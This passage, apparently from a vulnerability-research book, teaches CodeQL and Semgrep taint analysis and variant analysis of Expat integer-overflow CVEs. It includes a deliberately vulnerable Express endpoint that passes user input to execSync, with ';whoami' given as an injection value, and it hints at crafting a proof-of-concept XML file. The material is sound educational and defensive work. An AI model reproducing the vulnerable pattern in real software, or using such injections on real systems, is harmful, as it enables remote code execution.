The CodeQL classes (`Call`, `Name`) share the same names as the types in the Python `ast` module because CodeQL's Python extractor uses `ast` as well as its own extended `semml.python.ast` class to parse Python codebases. Similarly, many of its other extractors integrate deeply into their target programming language's contexts. For example, CodeQL's Go extractor also uses the Go standard library's `go/ast` package (<https://github.com/github/codeql/blob/820de5d/go/extractor/extractor.go>). CodeQL's highly-customized extraction approach for each language allows it to build comprehensive databases of data and control flow relationships.

With CodeQL's in-depth approach, you can make powerful global taint tracking queries to find source-to-sink vulnerabilities. Additionally, CodeQL's object-oriented query language allows you to reuse components easily. The following example illustrates CodeQL's strengths.

Consider a Node.js web API server built on the Express web framework that consists of two files, `index.js` and `utils.js`. This web API has a single `/ping` endpoint that causes the server to ping any IP address in the `ip` query parameter. Unfortunately, the developer has inadvertently introduced a remote code execution-as-a-service feature via a command injection vulnerability:

```
index.js const express = require("express");
❶ const { ping } = require("./utils.js");

const app = express();

app.get("/ping", (req, res) => {
  ❷ const ip = req.query.ip;
    res.send(`Result: \n${ping(ip)}`);
})

app.listen(3000);
```

You can't determine if the vulnerability exists just by analyzing the code of `index.js`. While this file does add a source of user-controlled data in `req.query.ip` ❷, you need to check if the `ping` function imported from `utils.js` ❶ passes the `ip` argument to a dangerous sink:

```
utils.js const { execSync } = require("child_process");

exports.ping = (ip) => {
```

```

    try {
❶ return execSync(`ping -c 5 ${ip}`);
    } catch (error) {
        return error.message;
    }
};

```

Unfortunately, ping passes ip to the execSync function ❶, which executes a shell command using its first argument. An attacker can execute any command by sending an ip query parameter, like ;whoami. Although this is a simple code review task, the source-to-sink tracing process stumps most regex-based searches, as they cannot easily correlate imported functions and data flow across files. Fortunately, CodeQL can do so because it models the code as a DFG and extends it with taint tracking. While data flow analysis follows the propagation of data (such as a variable), it doesn't keep track of other tainted variables. The separate DataFlow and TaintTracking libraries provided by CodeQL reflect this. Additionally, CodeQL includes convenient classes for common sources and sinks, including remote user input and command execution functions. As such, you can write a simple global taint tracking rule for the previous vulnerable server like so:

```

RemoteCommandInjection.ql /**
 * @id remote-command-injection
 * @name Remote Command Injection
 * @description Passing user-controlled remote data to a command injection.
 * @kind path-problem
 * @severity error
 */

import javascript
import DataFlow::PathGraph

class MyConfig extends TaintTracking::Configuration {
    MyConfig() { this = "MyConfig" }

    override predicate isSource(DataFlow::Node source) {
❶ source instanceof RemoteFlowSource
    }

    override predicate isSink(DataFlow::Node sink) {
❷ sink = any(SystemCommandExecution sys).getACommandArgument()
    }
}

from MyConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink,
"taint from $@ to $@.", source, "source", sink, "sink"

```

For now, don't worry about the exact details of CodeQL syntax. Instead, focus on the general structure of the query, such as the taint tracking configuration that defines sources as RemoteFlowSource instances ❶ and sinks as a command argument in any SystemCommandExecution instance ❷. This is all you need to track the flow of attacker-controllable data to a vulnerable function call (see Chapter 2). The actual query checks if there's a flow path from sources to sinks, and if so, outputs the results in a structure that CodeQL can parse into comprehensive step-by-step paths:

```
"results" : [ {
  --snip--
  "codeFlows" : [ {
    "threadFlows" : [ {
      "locations" : [ {
        "location" : {
          "physicalLocation" : {
            "artifactLocation" : {
              "uri" : "index.js",
              "uriBaseId" : "%SRCROOT%",
              "index" : 1
            },
            "region" : {
              "startLine" : 7,
              "startColumn" : 16,
              "endColumn" : 28
            }
          },
          "message" : {
            ❶ "text" : "req.query.ip"
          }
        }
      ],
      --snip--
    }
  ],
  "location" : {
    "physicalLocation" : {
      "artifactLocation" : {
        "uri" : "index.js",
        "uriBaseId" : "%SRCROOT%",
        "index" : 1
      },
      "region" : {
        "startLine" : 8,
        "startColumn" : 32,
        "endColumn" : 34
      }
    },
    "message" : {
```

```

        ❷ "text" : "ip"
      }
    }
  },
  --snip--
  {
    "location" : {
      "physicalLocation" : {
        "artifactLocation" : {
          "uri" : "utils.js",
          "uriBaseId" : "%SRCROOT%",
          "index" : 0
        },
        "region" : {
          "startLine" : 5,
          "startColumn" : 21,
          "endColumn" : 38
        }
      },
      "message" : {
        ❸ "text" : "`ping -c 5 ${ip}`"
      }
    }
  }
} ]
} ]
} ]

```

Although some intermediate steps have been omitted for brevity, CodeQL accurately tracks the tainted data from the `req.query.ip` request query parameter value ❶ to the `ip` variable ❷ and finally to the template string passed to `execSync` in `utils.js` ❸. If you ran a global data flow analysis by replacing `TaintTracking::Configuration` with `DataFlow::Configuration`, you'd get no results, because data flow analysis follows only the preserved data value of `req.query.ip`. The use of the template string in the argument passed to `execSync` means that the value of `req.query.ip` is no longer preserved and terminates the data flow path. If `utils.js` used `execSync(ip)` instead, the data flow analysis would have worked as well.

The power of global taint tracking comes with significant trade-offs: moving from local to global analysis, as well as from data flow to taint tracking, is more computationally expensive and less accurate. Additionally, the CodeQL rule syntax is fairly complex. CodeQL rules are written in **QL**, an object-oriented programming language for making queries. This is why the first part of *RemoteCommandInjection.ql* looks like typical object-oriented code with classes and overrides while the finally query at the end resembles a database query language with `from`, `where`, and `select` clauses.

In order to use CodeQL effectively, you need to essentially learn a new programming language and familiarize yourself with the CodeQL standard libraries. This may be worthwhile because the query-oriented nature of **QL**

allows you to express complex relationships and predicates for powerful global taint tracking queries. The CodeQL developers have added many helpful classes for common frameworks such as Express, Spring, and Ruby on Rails. For example, instead of `RemoteFlowSource` in the example query, you can use `Express::RequestSource` to specifically track inputs from an Express framework web request. On the other hand, there's a lot of context-switching as you toggle between analyzing the target code and writing the desired query.

Visual Studio Code Extension

To minimize the friction of developing CodeQL queries, use the CodeQL Visual Studio Code extension, which adds a number of UI elements and features in the VS Code editor that works with the CodeQL CLI to create an integrated developer environment for writing queries in QL. Follow the instructions to set up your CodeQL query development environment (<https://codeql.github.com/docs/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code>) and explore these features with the example vulnerable server.

1. Install the CodeQL CLI by downloading the binaries and adding it to your PATH (<https://docs.github.com/en/code-security/codeql-cli/using-the-codeql-cli/getting-started-with-the-codeql-cli>). For macOS, install this with `brew install --cask codeql`.
2. Clone the CodeQL starter VS Code workspace from <https://github.com/github/vscode-codeql-starter> to a working directory.
3. Install the VS Code extension (<https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql>).
4. Open the CodeQL starter workspace file `vscode-codeql-starter.code-workspace` in VS Code via **File ► Open Workspace**.

The extension allows you to download CodeQL databases created by others from remote sources like GitHub. Since you are working on a local codebase, you'll create the database yourself. Create a project directory containing `index.js` and `utils.js`. Navigate to it in your terminal, then run `codeql database create --overwrite --language javascript javascript-database` to create the CodeQL database containing all the relationships and information about the code. You can then perform CodeQL queries on the database.

Back in VS Code, click the CodeQL button in the Activity Bar on the left to open a CodeQL sidebar with a few views, including “Databases,” “Variant Analysis Repositories,” “Query History,” and “AST Viewer.” In Databases, click the button to add a CodeQL database “From a folder” and open the `javascript-database` folder you created earlier.

Switch to the Explorer view. You should see a new folder in the file explorer sidebar, “javascript-database source archive,” which contains the original source code files. Right-click `index.js` and select **CodeQL: View AST** to open the AST Viewer view in the CodeQL extension sidebar, showing how the CodeQL database represents the code. For example, the line

`res.send(`Result: \n${ping(ip)}`);` is an `ExprStmt` node with a child `MethodCallExpr` node, which in turn has `DotExpr` and `TemplateLiteral` child nodes, and so on. This helps you select the correct classes when writing a query.

Switch back to the Explorer view and create the *RemoteCommandInjection.ql* query file in the `codeql-custom-queries-javascript` folder. QL queries need a *qlpack.yml* file in the same directory in order to determine which CodeQL library dependencies to include. Right-click the query file and select **CodeQL: Run Queries in Selected Files**. The extension triggers the CodeQL CLI to run your query on the database and parses the results. If all is working as intended, you should get a nicely-formatted results view in the right editor region.

If you expand the result row, you'll get a list of each taint step from the source to sink. Clicking a step directly links you to the exact location of the source code corresponding to the taint step—helpful for analyzing query results and debugging draft queries.

As you'll use CodeQL later in the multi-repository variant analysis section, keep the CodeQL setup ready. Before this, however, you'll use Semgrep for single-repository variant analysis.

Semgrep

Like CodeQL, Semgrep originated from academic research. In fact, one of the researchers' first attempts in developing a Domain Specific Language (DSL) for program transformations was influenced by CodeQL creator Oege De Moor's research. However, it quickly took a different approach based on existing patch syntax used by Linux kernel development. The resulting tool, Spatch, is still in use today under the name Coccinelle.

NOTE

*For more about the fascinating origins of Semgrep, read the blog post by Yoann Podioleau (author of Semgrep's predecessor, *sgrep*) at <https://semgrep.dev/blog/2021/semgrep-a-static-analysis-journey>.*

The close proximity of the research to practical engineering applications, including as a tool at Facebook to enforce secure by default API usage, shaped Semgrep's relatively user-friendly rule syntax. Consider the following rule that identifies the same command injection vulnerability as the *RemoteCommandInjection.ql* CodeQL query:

```
express-injection.yml rules:
  - id: express-injection
    ❶ mode: taint
    pattern-sources:
      ❷ - pattern: req.query.$PARAMETER
    pattern-sinks:
      ❸ - pattern: execSync(...)
    message: Passing user-controlled Express query parameter to a command injection.
    languages:
      - javascript
```

```
severity: ERROR
metadata:
  interfile: true
```

One of the most critical syntax distinctions between this and the CodeQL query is that Semgrep syntax is pattern-oriented, while QL syntax is query-oriented. Semgrep focuses on *matching* specific patterns in the code, and CodeQL is concerned with *programming* a query that fetches variables that meet the correct conditions from the database. Given the additional layer of abstraction and context-switching required to perform the latter, it could be argued that Semgrep rule syntax is easier to learn.

Although you don't need to dive too deep into the Semgrep rule syntax for the next section, there are a few key components you should take note of. First, the rule is formatted in YAML, a data-serialization language common in configuration files. As such, be careful of YAML-specific quirks, such as multiline strings (prefixed with the `|` character), Booleans, and escaped characters.

NOTE

[Warning] Once, while trying to write a Semgrep rule to match a insecure configuration in an XML file that looked like `<setting name="sanitizeInputs">off</setting>`, a fellow Semgrep user kept getting an error message `False is not of type 'string'` in pattern `['rules'][0]['pattern']()`. After cracking our heads for far too long, we found out that YAML version 1.1 interprets `on` and `off` as Boolean values instead of strings!

Next, other than the standard pattern-matching mode, Semgrep supports a few advanced and experimental modes via the mode key ❶, including `taint`, `join`, and `extract`. These help create more powerful rules that you'll reach for as you tackle more complex patterns in code. For the rest of the book, you'll only use the regular and `taint` modes.

The most used pattern feature is metavariables, which are always prefixed with a dollar sign (`$`) character and can contain only uppercase characters, underscores (`_`), or digits ❷. You use metavariables to match an item, like a variable or function name, that can be any value instead of a fixed value. The contents of the match are stored in the metavariable, allowing you to run further checks on them, such as ensuring that the metavariable matches a specific pattern.

Coming a close second is the ellipsis operator ❸, which matches a sequence of zero or more items like statements, characters in a string, or function arguments. This allows you to quickly abstract away parts of the code that you aren't concerned with but still want to include in the match.

You'll often use metavariables and ellipsis operators in conjunction. For example, suppose you want to match hardcoded secrets in code that are assigned to variables prefixed with `SECRET_`. You aren't concerned with matching the exact value of the strings, since they can be any value:

```
var SECRET_KEY = "D3ADB33F"
var SECRET_TOKEN = "1337"
```

The following pattern does the trick:

```
patterns:
- pattern: var $VARIABLE_NAME = "..."/>
- metavariable-regex:
  metavariable: $VARIABLE_NAME
  regex: SECRET_.*
```

One final point to take note of before moving on is how you compose Semgrep patterns together. The `patterns` keyword performs a logical AND operation on its child patterns; only code that matches a string variable assignment that has a variable name starting with `SECRET_.*` is considered a result. To perform a logical OR, use `pattern-either`. You can nest these keys multiple times, but this quickly becomes unwieldy.

Other than pattern syntax, Semgrep and CodeQL also differ in how they represent the source code for data-flow analysis. Instead of extracting language-specific relationship data and classes and storing it in a database, Semgrep parses code from different languages into a generic AST before converting it into an intermediate language (IL). This approach means that Semgrep's data-flow analysis is largely language-agnostic in contrast to CodeQL's language-specific queries. For example, CodeQL cannot query for a JavaScript `CallExpr` class instance in a Python database, since the CodeQL Python library supports only the equivalent `Call` class. Semgrep, on the other hand, is able to pattern-match `function_name(...)` in both JavaScript and Python codebases, skipping the database-creation step as well.

However, Semgrep's parsing of different languages into a generic AST following by converting to an IL loses important program analysis data. ASTs, unlike CFGs or DFGs, can't directly represent execution or data flow—all critical to proper taint tracking. Additionally, language-specific features—like class inheritance and overrides, which affect taint tracking—are lost in a generic AST. One AST is created per file, which precludes inter-file taint analysis. To get around these issues, Semgrep's developers built a paid Semgrep Pro engine that adds support for language-specific operations and additional analyses such as constant propagation to make up for the gaps in the base open source Semgrep OSS engine. Fortunately, you can still access Semgrep Pro via the Semgrep Playground (<https://semgrep.dev/playground>), which allows you to test Semgrep rules against code.

In the Semgrep Playground, switch to the advanced mode tab and paste the *express-injection.yml* rule from the beginning of this section. The test code editor on the right accepts only one text input, but you can paste the contents of *utils.js* and *index.js* one after another. Ensure that the Semgrep Pro Engine toggle is switched on. (An example is available at <https://semgrep.dev/s/p05J>.) Now click the **Run** button. You should see the highlighted pattern match at `execSync(`ping -c 5 ${ip}`)`, as expected.

Semgrep takes much less time to run than CodeQL due to the fundamental design choices made at the program analysis level, which ultimately affect the practical rule-writing experience.

While you can try out Semgrep Pro in the Playground, you need a subscription to use it on more than a few snippets of code. As such, you'll use Semgrep OSS, the base engine, to analyze code in the following section. As noted in the documentation, Semgrep OSS provides a few analyses, such as constant propagation and taint tracking. Additionally it performs only intra-procedural analysis, meaning it analyzes data flow within a single function or method. Furthermore, it comes with hefty design trade-offs according to the documentation (found at <https://semgrep.dev/docs/writing-rules/data-flow/data-flow-overview>):

- No path sensitivity: All *potential* execution paths are considered, despite that some may not be feasible.
- No pointer or shape analysis: *Aliasing* that happens in non-trivial ways may not be detected, such as through arrays or pointers. Individual elements in arrays or other data structures are not tracked. The dataflow engine supports limited field sensitivity for taint tracking, but not yet for constant propagation.
- No soundness guarantees: Semgrep ignores the effects of eval-like functions on the program state. It doesn't make worst-case sound assumptions, but "reasonable" ones.

In exchange, Semgrep OSS runs much quicker with less overhead. You don't need to worry about getting the correct class or type while writing a rule. Additionally, you need to build a database or compile a query, allowing you to iterate much faster. Vulnerability research often involves careful allocation of time and labor to achieve results with a reasonable investment. Knowing which tool is best suited to which target is key.

Single-repository Variant Analysis

Vulnerability research has increased in difficulty over time, as developers implement system-level mitigations and write more secure code. New vulnerabilities are consistently discovered, but it's a far cry from the Wild West of the past. Accordingly, you now have to invest significantly more time and expertise to discover impactful vulnerabilities in the most popular software. For large open source applications like LibreOffice, you can easily go up to millions of lines of code. Automated source code analysis tools can cut down the time needed, but you still have to triage all the results and understand the context of each finding. For example, an unsafe `memcpy` in one file may have been mitigated earlier on by a size check elsewhere. You can tweak the rules to reduce false positives by narrowing down the search criteria, but that risks increasing the number of false negatives as well, causing you to miss actual vulnerabilities.

Fortunately, many other researchers have walked the same path as you. While they may not publish their research breaking down every single detail about the vulnerabilities they discovered, open source software has two key pieces of evidence you can access: the patched code diff and the pub-

lic vulnerability advisory, typically published as a Common Vulnerabilities and Exposures (CVE) entry. By analyzing these sources of information, you could parlay a previous vulnerability into multiple new ones.

Vulnerabilities don't often exist in isolation. If a developer made a mistake in their code that caused that vulnerability, it is likely that they made that mistake elsewhere, too. Additionally, vulnerability researchers may not be interested in enumerating all possible variants of a vulnerability, but rather in a particular exploit path and be satisfied with achieving it. Finally, in their rush to patch one bug, developers may fail to perform deeper root cause analysis of why that vulnerability occurred and build secure guardrails to prevent future occurrences. These factors give rise to a few sources of vulnerabilities:

Variants A particular code pattern that caused a vulnerability exists elsewhere in the code, creating more vulnerabilities.

Insufficient Patch A patch for a vulnerability does not adequately resolve the root cause, leaving various bypasses available for the vulnerability to still be exploited.

Regression A vulnerability is patched in the code, but due to lack of regression testing or secure guardrails, is revived when future changes in the code weaken or remove the patch.

These provide a surprisingly rich source of vulnerabilities and offer a less resource-intensive approach to vulnerability research. Thanks to the previous vulnerability advisory and patch code diff, you know exactly how and why the original vulnerability occurs. With some root cause analysis, you can quickly pivot to scanning the code for similar vulnerable patterns of code. After that, triage the results based on whether they repeat the original vulnerability, rather than starting afresh in your analysis each time. Additionally, the rules you write can be a lot more specific to patterns that would not make sense in a general ruleset.

Practice this method with a collection of integer overflow vulnerability variants in Expat, a C parsing library for parsing XML files. Given the ubiquity of XML files, Expat has applications in countless other software, including Firefox and Python (<https://libexpat.github.io/doc/users>). As such, a vulnerability in Expat has significant downstream impact, especially since you can use the library in ways the original developers may not expect. If you look at the CVEs for Expat, you'll notice that Expat suffered from multiple integer overflows, including CVE-2022-22822 to CVE-2022-22827 (<https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=expat>). If you browse to the individual pages for any of those vulnerabilities, you'll see a link under the "References" section to the merged commit on GitHub that patched the vulnerability. For the shared patch for CVE-2022-22822 to CVE-2022-22827 titled "[CVE-2022-22822 to CVE-2022-22827] lib: Prevent more integer overflows," the pull request comment notes that the patch is related to pull requests 534 and 538. In turn, those pull requests patch earlier integer overflows in CVE-2021-46143 and CVE-2021-45960.

Root Cause Analysis

To practice variant analysis, try to rediscover the variants CVE-2022-22822 to CVE-2022-22827 by writing a code analysis rule based on CVE-2021-46143. The first step in writing a rule is performing root cause analysis to understand how the vulnerability occurred and determine which patterns to target.

Take a look at the patch for CVE-2021-46143 at <https://github.com/libexpat/libexpat/pull/538>. The pull request is titled “[CVE-2021-46143] lib: Prevent integer overflow on m_groupSize in function doProlog.” The “Files changed” section lists only two updated files. The changelog adds the following lines:

```
+      #532 #538 CVE-2021-46143 (ZDI-CAN-16157) -- Fix integer overflow
+              on variable m_groupSize in function doProlog leading
+              to realloc acting as free.
+              Impact is denial of service or more.
```

This helpfully informs you that the integer overflow in CVE-2021-46143 leads to “realloc acting as free.” The realloc standard library function takes in two arguments, void *ptr and size_t size. As noted by the Linux manual, the realloc function tries to change the size of the allocated memory pointed to by ptr to size, but if size is zero, it frees the memory instead. You can glean further information in the diff for the other updated file, *expat/lib/xml-parse.c*:

```
@@ -5019,6 +5046,11 @@ doProlog
    if (parser->m_prologState.level >= parser->m_groupSize) {
        if (parser->m_groupSize) {
            {
+              /* Detect and prevent integer overflow */
+              ❶ if (parser->m_groupSize > (unsigned int)(-1) / 2u) {
+                  return XML_ERROR_NO_MEMORY;
+              }
+
            char *const new_connector = (char *)REALLOC(
                parser, parser->m_groupConnector, parser->m_groupSize * 2);
            if (new_connector == NULL) {
@@ -5029,6 +5061,16 @@ doProlog
        }

        if (dtd->scaffIndex) {
+
+            /* Detect and prevent integer overflow.
+             * The preprocessor guard addresses the "always false" warning
+             * from -Wtype-limits on platforms where
+             * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+            #if UINT_MAX >= SIZE_MAX
+                ❷ if (parser->m_groupSize > (size_t)(-1) / sizeof(int)) {
+                    return XML_ERROR_NO_MEMORY;
+                }
+            }
```

```

+endif
+
+       int *const new_scaff_index = (int *)REALLOC(
+           parser, dtd->scaffIndex, parser->m_groupSize * sizeof(int));
+       if (new_scaff_index == NULL)

```

The diff here informs you exactly where the patch occurs, and more importantly, what it patches. In this case, it adds two comparison checks on `parser->m_groupSize` to ensure it's no larger than `(unsigned int)(-1) / 2u` ❶ or `(size_t)(-1) / sizeof(int)` ❷, the values that you multiply `parser->m_groupSize` by before passing it as the size argument to the `REALLOC` macro.

Take a moment to analyze the `REALLOC` macro. In the C programming language, macros are named fragments of code. To find the definition of the `REALLOC` macro, search for `#define REALLOC` in the code:

```

#define REALLOC(parser, p, s) (parser->m_mem.realloc_fcn((p), (s)))

```

When compiling the code, the C preprocessor expands all occurrences of `REALLOC` and their arguments to `(parser->m_mem.realloc_fcn((p), (s)))`. However, this doesn't confirm whether `m_mem.realloc_fcn` is equivalent to the `realloc` standard library function. If you search for `realloc_fcn` in the code, you'll find the following:

```

parserCreate(const XML_Char *encodingName,
             const XML_Memory_Handling_Suite *memsuite, const XML_Char *nameSep,
             DTD *dtd) {
    XML_Parser parser;

    ❶ if (memsuite) {
        XML_Memory_Handling_Suite *mtemp;
        parser = (XML_Parser)memsuite->malloc_fcn(sizeof(struct XML_ParserStruct));
        if (parser != NULL) {
            mtemp = (XML_Memory_Handling_Suite *)&(parser->m_mem);
            mtemp->malloc_fcn = memsuite->malloc_fcn;
            mtemp->realloc_fcn = memsuite->realloc_fcn;
            mtemp->free_fcn = memsuite->free_fcn;
        }
    } else {
        XML_Memory_Handling_Suite *mtemp;
        parser = (XML_Parser)malloc(sizeof(struct XML_ParserStruct));
        if (parser != NULL) {
            mtemp = (XML_Memory_Handling_Suite *)&(parser->m_mem);
            mtemp->malloc_fcn = malloc;
            ❷ mtemp->realloc_fcn = realloc;
            mtemp->free_fcn = free;
        }
    }
}

```

Unless you pass an alternative memory handling suite to `parserCreate` ❶, `realloc_fcn` is assigned as `realloc` ❷. This may seem like a long detour to confirm what you suspected, though it's important to be thorough in checking your assumptions. After all, the `REALLOC` macro could be a safe wrapper around the `realloc` function, a common practice by many developers.

Returning to the patch for CVE-2021-46143, you may wonder how the comparison checks prevent an integer overflow, or even what an integer flow means in this context. As a quick experiment, compile and run the following C code:

```
#include <stdio.h>

int main() {
    printf("SIZE_MAX: %zu\n", ((size_t)(-1)));
    printf("no overflow: %zu\n", ((size_t)(-1) / sizeof(int)) * sizeof(int));
    printf("overflow: %zu\n", ((size_t)(-1) / sizeof(int) + 1) * sizeof(int));
    return 0;
}
```

You should get the following output:

```
SIZE_MAX: 18446744073709551615
no overflow: 18446744073709551612
overflow: 0
```

There's a maximum number unsigned integer types can represent, which in binary is `11111...`, up till the number of bits for that type. Since unsigned integers can't be negative, casting `-1` to an unsigned integer type performs a two's complement operation that ends up with the same binary representation as the maximum for that type. In binary arithmetic, multiplying by two is represented by "shifting left" by 1 bit, and the converse for dividing by two (rounding down). For example, multiplying 7 (`111` in binary) by two is `1110` in binary, which corresponds to 14. If the operation exceeds the number of bits for the type in question, it truncates the most significant bits. As such, the unsigned integer overflow here occurs when the multiplication ends up with `1000000...` that it truncates to `000000...`, representing 0. Integer overflows are a common vulnerability class that leads to all sorts of undefined behavior if the value is used for other functions; in the case of Expat, it can lead to freeing memory instead of reallocating it.

To complete the root cause analysis, you must understand how to reach this vulnerable code path, or sink. Fortunately, the pull request comment also links to the corresponding issue, titled "[CVE-2021-46143] Crafted XML file can cause integer overflow on `m_groupSize` in function `doProlog`" (<https://github.com/libexpat/libexpat/issues/532>). The issue notes that an anonymous white hat researcher reported the vulnerability via the Zero Day Initiative (ZDI), which facilitates 0-day vulnerability disclosures and provides financial rewards. Additionally, it states that "the issue is an integer overflow (in multiplication) near a call to `realloc` that takes a 2 GiB size craft XML file,

and then will cause denial of service or more.” Finally, the issue comment includes a snippet of the vulnerability disclosure’s analysis section:

This is an integer overflow vulnerability that exists in expat library.
The vulnerable function is doProlog:

```
doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
         int tok, const char *next, const char **nextPtr, XML_Bool haveMore,
         XML_Bool allowClosingDoctype, enum XML_Account account) {
#ifdef XML_DTD
    static const XML_Char externalSubsetName[] = {ASCII_HASH, '\0'};
#endif /* XML_DTD */
    static const XML_Char atypeCDATA[]
[...]
```

```
    case XML_ROLE_GROUP_OPEN:
        if (parser->m_prologState.level >= parser->m_groupSize) {
            if (parser->m_groupSize) {
                {
                    char *const new_connector = (char *)REALLOC(
                        parser, parser->m_groupConnector, parser->m_groupSize * 2); // (1)
                    if (new_connector == NULL) {
                        parser->m_groupSize /= 2;
                        return XML_ERROR_NO_MEMORY;
                    }
                    parser->m_groupConnector = new_connector;
                }
            }
        }
```

At (1), integer overflow occurs if the value of `m_groupSize` is greater than `0x7FFFFFFF`.

This provides you with the final piece of the puzzle: the attack vector, a large crafted XML file. In order for `m_groupSize` to reach such a large number, it must include enough tokens that match the `XML_ROLE_GROUP_OPEN` case in the XML file.

NOTE

Although it isn’t necessary to recreate the proof of concept during root cause analysis, it can be helpful to improve your understanding of the vulnerability. Try reproducing CVE-2021-46143 by creating an XML file that would trigger it. Hint: look at the pull request and related issue for CVE-2021-45960, which includes more detail about the proof of concept and includes a link to a script to create it. You can adapt this for CVE-2021-46143.

Although Expat extensively documents its vulnerability remediation process, more often than not you’ll have only scraps of information from published vulnerability advisories. Due to the criticality of a bug, developers may choose to obfuscate a vulnerability patch by burying it inside a much larger update, or fix it at a higher level in the code. Additionally, vulnerability advisory descriptions may be deliberately unclear to prevent malicious actors from deducing the real vulnerability and exploiting it via n-day attacks on unpatched users. Nevertheless, it’s usually easier to patch diff a known vulnerability and analyze it than to discover a brand new vulnerability. Root

cause analysis of disclosed vulnerabilities is a skill that yields rich rewards for the careful researcher.

Variant Pattern Matching

Now that you understand the root cause of the vulnerability, you can write a pattern to find other variants of it in the code. To recap the key features of CVE-2021-46143:

1. An integer overflow occurs when multiplying some variable of an unsigned integer type beyond its maximum.
2. The overflowed integer is passed into the third argument of the `REALLOC` macro, which leads to an unintended free if the variable overflows to 0.
3. The variable is attacker-controlled via the XML file, which can take the form `parser->m_groupSize`.

Typically, for single-repository variant analysis, you can afford to be more specific with your patterns, because the developer's style often repeats throughout the code. Start with an almost-exact match of the original vulnerable code, then slowly generalize the rule until you begin finding variants. This iterative approach allows you to make sure you aren't over-generalizing from the start and keeps your scope small. As such, it's better to begin with a pattern matching rather than a full data flow analysis rule. In this case, focus on the sink of the vulnerability rather than the source-to-sink flow.

For CVE-2021-46143, the sink is the `REALLOC` macro's third argument, which the developers patched by adding a comparison check right before the two `REALLOC` invocations:

```
char *const new_connector = (char *)REALLOC(
    parser, parser->m_groupConnector, parser->m_groupSize *= 2);
int *const new_scaff_index = (int *)REALLOC(
    parser, dtd->scaffIndex, parser->m_groupSize * sizeof(int));
```

Begin drafting your rule by placing these two `REALLOC` invocations in the test code section Semgrep Playground. On the rule section, switch to the "advanced mode" tab and start with a skeleton rule that matches the first invocation exactly:

rules:

```
- id: CVE-2021-46143
  pattern: REALLOC(parser, parser->m_groupConnector, parser->m_groupSize *= 2);
  message: Detected variant of CVE-2021-46143.
  languages: [c]
  severity: ERROR
```

Click **Run** and confirm that the rule matches the line which the first `REALLOC` invocation is in. Next, generalize the rule to match both invocations.

You might do this by abstracting away the last two arguments with the ellipsis operator, since those are the only differences between the first and second invocations:

```
pattern: REALLOC(parser, ...);
```

While this works, it greatly increases the number of false positives because it also fails to differentiate safe and vulnerable `REALLOC` invocations. Recall that the root cause of this vulnerability is an integer overflow in the third argument passed to `REALLOC` (and consequently `realloc`) caused by multiplying it (`parser->m_groupSize *= 2` and `parser->m_groupSize * sizeof(int)`). As such, we should match this pattern by using metavariables:

```
patterns:
- pattern-either:
  - pattern: REALLOC(parser, $POINTER, $SIZE * $CONSTANT);
  - pattern: REALLOC(parser, $POINTER, $SIZE *= $CONSTANT);
```

Notice the proper usage of the patterns, pattern-either, and pattern operators. You cannot nest the two pattern operators under patterns, because patterns performs a logical AND operation, meaning that the code must match both patterns rather than either of them. To do so, use pattern-either to perform a logical OR operation instead.

After completing this basic rule, you can now test this on the vulnerable commit of Expat. Checkout the commit and run the Semgrep rule on it with the following commands:

```
$ git clone https://github.com/libexpat/libexpat
$ cd libexpat
$ git checkout 0adcb34c
$ semgrep -f rule.yml .
```

If all goes well, you should get the following results:

```
Scanning 18 files.
18/18 tasks 0:00:00
```

```
Results
Findings:
```

```
expat/lib/xmlparse.c
CVE-2021-46143
Detected variant of CVE-2021-46143.

3271 temp = (ATTRIBUTE *)REALLOC(parser, (void *)parser->m_atts,
3272                                parser->m_attsSize * sizeof(ATTRIBUTE));
-----
3279 temp2 = (XML_AttrInfo *)REALLOC(parser, (void *)parser->m_attrInfo,
3280                                     parser->m_attsSize * sizeof(XML_AttrInfo));
-----
```



```

5049 char *const new_connector = (char *)REALLOC(
5050     parser, parser->m_groupConnector, parser->m_groupSize * 2);
-----
5059 int *const new_scaff_index = (int *)REALLOC(
5060     parser, dtd->scaffIndex, parser->m_groupSize * sizeof(int));
-----
6130 temp = (DEFAULT_ATTRIBUTE *)REALLOC(parser, type->defaultAtts,
6131                                     (count * sizeof(DEFAULT_ATTRIBUTE)));
-----
7131 temp = (CONTENT_SCAFFOLD *)REALLOC(
7132     parser, dtd->scaffold, dtd->scaffSize * 2 * sizeof(CONTENT_SCAFFOLD));

```

Scan Summary

Some files were skipped or only partially analyzed.

Scan was limited to files tracked by git.

Partially scanned: 1 files only partially analyzed due to a parsing or internal Semgrep error

Scan skipped: 6 files matching .semgrepignore patterns

For a full list of skipped files, run semgrep with the --verbose flag.

Ran 1 rule on 18 files: 6 findings.

Great, the rule correctly identifies the original two vulnerabilities as well as four additional potential variants. The variants all use some potentially attacker-controlled value multiplied by the size of a data structure.

Take a closer at the first variant, which occurs at line 3271 of *xmlparse.c*.

```

/* Precondition: all arguments must be non-NULL;
Purpose:
- normalize attributes
- check attributes for well-formedness
- generate namespace aware attribute names (URI, prefix)
- build list of attributes for startElementHandler
- default attributes
- process namespace declarations (check and report them)
- generate namespace aware element name (URI, prefix)
*/
static enum XML_Error
storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
          TAG_NAME *tagNamePtr, BINDING **bindingsPtr,
          enum XML_Account account) {
    DTD *const dtd = parser->m_dtd; /* save one level of indirection */
    ELEMENT_TYPE *elementType;
    int nDefaultAtts;
    const XML_Char **appAtts; /* the attribute list for the application */
    int attIndex = 0;
    int prefixLen;
    int i;

```

```

int n;
XML_Char *uri;
int nPrefixes = 0;
BINDING *binding;
const XML_Char *localPart;

/* lookup the element type name */
elementType
    = (ELEMENT_TYPE *)lookup(parser, &dtd->elementTypes, tagNamePtr->str, 0);
if (! elementType) {
    const XML_Char *name = poolCopyString(&dtd->pool, tagNamePtr->str);
    if (! name)
        return XML_ERROR_NO_MEMORY;
    elementType = (ELEMENT_TYPE *)lookup(parser, &dtd->elementTypes, name,
                                          sizeof(ELEMENT_TYPE));

    if (! elementType)
        return XML_ERROR_NO_MEMORY;
    if (parser->m_ns && ! setElementTypePrefix(parser, elementType))
        return XML_ERROR_NO_MEMORY;
}
❶ nDefaultAtts = elementType->nDefaultAtts;

/* get the attributes from the tokenizer */
